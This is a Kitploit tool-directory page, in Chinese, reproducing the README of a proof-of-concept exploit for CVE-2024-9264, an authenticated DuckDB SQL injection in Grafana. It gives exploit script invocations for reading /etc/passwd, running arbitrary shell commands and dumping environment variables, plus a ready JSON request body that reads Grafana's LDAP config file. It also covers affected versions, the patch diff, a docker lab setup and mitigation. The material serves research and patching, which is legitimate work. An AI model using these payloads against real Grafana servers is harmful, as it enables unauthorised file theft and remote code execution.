Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-9264 — Grafana 任意文件读取与 RCE 漏洞利用(CVE-2024-9264) | Kitploit
工具/GitHubGitHub/nollium/cve-2024-9264
Payload生成漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubnollium/cve-2024-9264

CVE-2024-9264

Grafana 任意文件读取与 RCE 漏洞利用(CVE-2024-9264)

查看仓库
1321631年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-9264

Grafana 认证后 DuckDB SQL 注入(RCE、文件读取)

概念验证(PoC)

该 PoC 演示了如何利用 CVE-2024-9264,通过认证用户执行 DuckDB SQL 查询,从而读取文件系统上的任意文件或远程执行任意代码。

任意代码仅在 Grafana v11.0.0 上可以执行。

所有受影响版本均可读取文件。

环境准备: 通过以下命令安装所需依赖:

root@kitploit:~
pip install -r requirements.txt

使用方法

文件读取(通用):

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass  -f /etc/passwd  http://localhost:3000

命令执行(仅 v11.0.0)

root@kitploit:~
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000

您还可以执行任意 DuckDB 查询,例如调用 getenv 来获取环境变量:

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000

可利用的 DuckDB 工具函数列表可参见此处。

漏洞概述

CVE-2024-9264 是 Grafana 实验性 SQL Expressions 功能中的一个 DuckDB SQL 注入漏洞。任何认证用户都可以通过修改 Grafana 仪表板中的表达式来执行任意 DuckDB SQL 查询。

受影响版本:

  • Grafana OSS 和 Enterprise 版本 11.0.0 - 11.0.5、11.1.0 - 11.1.6 以及 11.2.0 - 11.2.1。

已修复版本:

  • 11.0.5+security-01 及更高版本

寻找补丁

Grafana 发布了特殊版本来修复此漏洞。要分析补丁,可以使用以下命令来比较更改:

root@kitploit:~
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495

这揭示出受漏洞影响的版本中 SQL Expressions 功能被直接移除了。

root@kitploit:~
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+       "errors"
+
+       "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+       return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+       return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+       return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+       return &DB{}
+}
root@kitploit:~
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
 
        rsp := mathexp.Results{}
 
-       duckDB := duck.NewInMemoryDB()
+       duckDB := sql.NewInMemoryDB()
        var frame = &data.Frame{}
        err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
        if err != nil {

该补丁完全移除了 SQL Expressions,从而杜绝了被利用的可能性。

漏洞利用

  1. 启动 Grafana: 运行版本为 11.0.5 的 Grafana:

    root@kitploit:~
    docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
    
  2. 修改表达式: 创建一个包含类似“Math”表达式的仪表板,使用 Burp 拦截请求,并将 datasource 类型从 math 修改为 sql。

    一个 HTTP 请求将被发送到 /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101。

    以下是执行 DuckDB SQL 查询以读取任意文件(如 ./conf/ldap.toml)所需的最小 JSON:

    root@kitploit:~
    {
      "queries": [
        {
          "refId": "B",
          "datasource": {
            "type": "__expr__",
            "uid": "__expr__",
            "name": "Expression"
          },
          "type": "sql",
          "hide": false,
          "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
          "window": ""
        }
      ],
      "from": "1729313027261",
      "to": "1729334627261"
    }
    

实际的漏洞利用并不需要存在仪表板,这只是找到执行查询所需 HTTP 请求的一种简便方式。

可利用性可能性

需要注意的是,尽管该漏洞非常严重,但其可利用性取决于 Grafana 服务器上是否安装了 DuckDB 二进制文件。默认情况下,Grafana 并不附带安装 DuckDB,并且也无法直接从 Grafana 界面进行安装。

要利用此漏洞,管理员必须手动安装 DuckDB,并将其添加到 Grafana 服务器的 $PATH 中。 如果 DuckDB 不存在,则无法利用该 SQL 注入漏洞,这大大降低了默认安装环境下成功利用的可能性。

缓解措施

将 Grafana 更新到已修复版本,并确保在延迟修补的情况下,$PATH 中不存在 DuckDB 二进制文件。

致谢

该 PoC 使用了由 cfreal 开发的 ten 框架。

下载工具